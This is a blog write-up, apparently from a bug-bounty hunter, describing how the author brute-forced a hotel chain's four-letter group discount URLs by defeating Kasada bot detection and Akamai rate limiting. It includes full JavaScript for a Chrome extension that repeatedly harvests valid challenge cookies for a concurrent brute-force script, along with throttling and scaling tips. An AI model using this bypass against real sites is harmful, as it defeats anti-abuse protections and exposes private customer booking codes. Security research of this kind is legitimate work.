Live Love WAF — Skirt the firewalls or die trying

8 hours ago 5
BOOK THIS SPACE FOR AD
ARTICLE AD

LS

One of the very first reasons I taught myself how to code was for the sole purpose of web scrapping, I needed to open a lot of pages really quickly and grab specific data from them. Over the years I overcame relatively easy obstacles to get what I wanted — using headless browsers, using proxies and finding origin IPs but in this particular report I encountered a WAF so aggressive I wanted to pull my hair up. I eventually didn’t even care about the exploitation as much I just wanted to win, and win I did after employing a pretty rudimentary solution, let’s dive in.

The attack vector:

This target was a popular hotel chain, I did some initial recon by pulling some indexed URLs from the wayback machine, I noticed a couple of URLs with a similar convention that looked something like this:

https://targethotel.com/location/4-digit-code

I opened a couple of them and they all seemed to give me a regular 400 response but by chance there was one I opened that was still active. The 4 digit codes looked like TJYZ, AXBS, IUGT and so on. It turns out these URLs were specific discount codes given to customers that booked sections of the hotel for events like conferences, weddings etc.

The 4 digit code was alphanumeric and but there was a large chunk of that that was all alphabets. The stage was set and the attack was simple: brute force the 4 digit code on random hotels to get all the group booking codes that were available at any given time.

(it wasn’t)

Problems arise:

Very quickly I realized there was considerable effort put into mitigating brute force attacks like this. I used FFUF to start a brute force attack on all possible 4 digit alphabet codes and I immediately got a `429 Too Many Requests` response, I wasn’t sure how this happened because the very first response from FFUF was a 429, far below what would normally trigger WAFs from issuing a 429 response.

I was exploring some more and I decided to test this out using automate on Caido, here I saw a promising result but I ended up with more questions.

On Caido, I initiated a brute force attack and it seemed to be working for about ~500 requests, for invalid codes I was receiving a 400 response and when I did stumble on a valid code I’d receive a 200 code with a response size of over 10000. However, after about 500 requests I would receive a 200 response but with size 0, furthermore if I went back to the browser the site was completely unusable, I’d simply have a blank screen and no page would load until I cleared my cookies and closed the tab. What the hell’s going on?

Under the hood:

To figure this out I had to eliminate all the cookies one by one to figure out which one was telling the WAF that I’m on a valid session. I landed on a cookie we’ll call custom_cookie

Every time I removed this cookie I’d run into the 429 response mentioned earlier, but in the response there was a script that’s supposed to be loaded:

Turns out this was Kasada’s Bot Detection engine that was performing a browser check to validate that this was indeed a real browser trying to access a resource. In a nutshell it does this using a heavily obfuscated JS challenge script and the entire process is something like this:

Visit site and receive a custom response header and two cookies with similar names.A request to ‘ips.js’ is made, this is a obfuscated script which conducts the browser fingerprinting. The script always seems to start with KPSDK.scriptStart=KPSDK.now().The script send a request to an endpoint typically ending in /tl and return updated cookies to the above mentioned cookies, and the response will also contain additional "kpsdk" headers.Presumably based on these cookies, you will either get a 429 and a blank page, or you will be allowed into the site.

This script leverages a custom virtual machine like structure for obfuscation which makes it hard to deduce what’s happening, there’s a great article that deep dive’s into this.

Since this process relies on JS execution, simple python/curl bots are thrown out the window, the next best step would be to try use automated browsers using different browser testing frameworks, the idea was to open the browser so it can complete the challenge and navigating to https://targethotel.com/location/4-digit-codeand see if the booking code exists or not.

This is the part that was really testing my patience, I tried selenium, playwright, puppeteer with both headless and non headless modes with many different flag combinations to try beat kasada’s browser detection but none of it was effective, every test failed and not a single page was successfully loaded.

Patrick Viera knows

I will not lose:

I was pretty close to giving up at this point but when you’re this deep you’ll do anything to win, let’s review the facts:

When the target URL is opened, Kasada initiates a challenge that the browser must complete, when completed successfully the session is assigned a custom_cookie cookieWhen another page is opened, the cookies are replacedThe previously assigned cookies are still valid and can be used for anywhere between 400–500 requestsEventually, when no challenge is completed the cookies are rejected and the client either receives a 429 or 200 request with no bodyWhen a 429/empty 200 is issued, subsequent challenges on the same tab fail until the cookies are cleared and tab is closedThe Kasada challenge uses fingerprinting techniques to validate that the request originates from a real browserRequests from automated means such as puppeteer, selenium, playwright all fail the JS challenge and or not assigned valid cookiesThere is also an Akamai block when requests come in too fast and the user receives 403 response and is blocked from making requests for a couple of minutes

No automated browser seems to work and I for sure have to use my regular browser to open and complete the JS challenge, so where the does the leave us? Two words: Chrome Extension.

I had never dabbled with writing my own extension but this scenario was the perfect recipe to get this going. With the points I mentioned above I basically needed something to complete the following actions:

Open a browser and navigate to targethotel.comWait for challenge to completedDownload the custom_cookie to a text file to my local file systemDelete the site's cookies and close the tabRepeat

As this process occurs, I will have a python script running concurrently and that will be brute forcing the codes sequentially however since we know the cookies get invalidated after every 500 requests or so, it will open the the file containing the downloaded cookies before this threshold is reached. The chrome extension will be running indefinitely to supply valid cookies, effectively bypassing the WAF’s mitigation to this type of attack.

This is my first time writing JS code for a chrome extension so it’s bit wonky, I learned that there were some nuances in handling the chrome API’s tab management feature but that’s what AI is for, I essentially had to make sure the cookies were properly cleared and the tab was closed so a new session could be initiated so the JS challenge is performed, here is what I used:

const activeTabIds = new Set();
let intervalId = null;

// This function does the cookie downloading
function savePromise(tabId) {
return new Promise((resolve, reject) => {
const domain = "http://www.targethotel.com";
chrome.cookies.get({ url: domain, name: "custom_cookie" }, (cookie) => {
if (cookie) {
console.log(`Cookie 'custom_cookie' value: ${cookie.value}`);
const textContent = `${cookie.value}`;
const data = btoa(textContent);
const filename = 'cookie.txt';
const url = `data:text/plain;base64,${data}`;

chrome.downloads.download({
filename,
url,
conflictAction: 'overwrite'
}, (downloadId) => {
if (chrome.runtime.lastError) {
reject(chrome.runtime.lastError);
} else {
resolve(downloadId);
}
});
} else {
reject(new Error("Cookie 'custom_cookie' not found on targethotel.com."));
}
});
});
}

// Function to delete cookies
function deleteCookie(cookie) {
const protocol = cookie.secure ? 'https:' : 'http:';
const cookieUrl = `${protocol}//${cookie.domain}${cookie.path}`;
return chrome.cookies.remove({
url: cookieUrl,
name: cookie.name,
storeId: cookie.storeId
});
}
// Function to delete the site's cookies
async function deleteDomainCookies(domain) {
try {
const cookies = await chrome.cookies.getAll({ domain });
await Promise.all(cookies.map(deleteCookie));
return `Deleted ${cookies.length} cookie(s).`;
} catch (error) {
throw new Error(`Unexpected error: ${error.message}`);
}
}

// Clean up chrome tabs
async function cleanupTab(tabId) {
try {
if (activeTabIds.has(tabId)) {
activeTabIds.delete(tabId);
await chrome.tabs.remove(tabId);
console.log(`Successfully cleaned up tab ${tabId}`);
}
} catch (error) {
console.error(`Error cleaning up tab ${tabId}:`, error);
}
}

function setTabTimeout(tabId) {
setTimeout(async () => {
if (activeTabIds.has(tabId)) {
console.log(`Tab ${tabId} timed out, cleaning up`);
await cleanupTab(tabId);
}
}, 30000); //
}

// Tab update handler
async function handleTabUpdate(tabId, changeInfo, tab) {
if (changeInfo.status === "complete" &&
tab.url &&
tab.url.includes("targethotel.com") &&
activeTabIds.has(tabId)) {

try {

await new Promise(resolve => setTimeout(resolve, 5000));

if (!activeTabIds.has(tabId)) {
console.log(`Tab ${tabId} was already cleaned up, skipping processing`);
return;
}

// Execute operations sequentially
await savePromise(tabId);
await deleteDomainCookies('targethotel.com');

// Clean up
await cleanupTab(tabId);
} catch (error) {
console.error(`Error processing tab ${tabId}:`, error);

await cleanupTab(tabId);
}
}
}

function stopInterval() {
if (intervalId) {
clearInterval(intervalId);
intervalId = null;
}
}

// Main interval function
function startInterval() {
// Stop any existing interval
stopInterval();

// Remove any existing listeners to prevent duplicates
chrome.tabs.onUpdated.removeListener(handleTabUpdate);
chrome.tabs.onUpdated.addListener(handleTabUpdate);

// Clean up any existing tabs
activeTabIds.forEach(async (tabId) => {
await cleanupTab(tabId);
});

intervalId = setInterval(async () => {
try {
// Check if we have too many active tabs
if (activeTabIds.size >= 3) {
console.log('Too many active tabs, cleaning up oldest');
const oldestTabId = Array.from(activeTabIds)[0];
await cleanupTab(oldestTabId);
}

const tab = await chrome.tabs.create({ url: "https://targethotel.com" });
activeTabIds.add(tab.id);
setTabTimeout(tab.id);
console.log(`Created new tab ${tab.id}`);
} catch (error) {
console.error(`Error creating tab:`, error);
}
}, 30000);
}

startInterval();

chrome.runtime.onSuspend.addListener(() => {
stopInterval();
activeTabIds.forEach(async (tabId) => {
await cleanupTab(tabId);
});
});

The python script that runs concurrently will simply brute force all possible codes on https://targethotel.com/locations/4-digit-codeand on every 100 iterations or so it will grab the downloaded custom_cookiefrom the extension above and keep running until all possible codes are done.

On top of all this, there was still an Akamai WAF that would 403 you if you went to fast, this was bypassed by limiting the process to run on only 2 threads at which point the threshold to trigger the WAF wouldn’t be hit.

This whole process at it’s very basic form would take about 40 hours to complete but this can easily be scaled horizontally to multiple machines to lower the time.

that was fun
Read Entire Article